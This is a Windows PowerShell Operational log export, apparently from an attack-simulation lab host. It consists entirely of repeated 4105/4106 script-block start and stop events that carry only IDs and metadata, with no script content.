LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041044
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041043
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041038
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041037
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041015
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041014
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041013
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041012
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
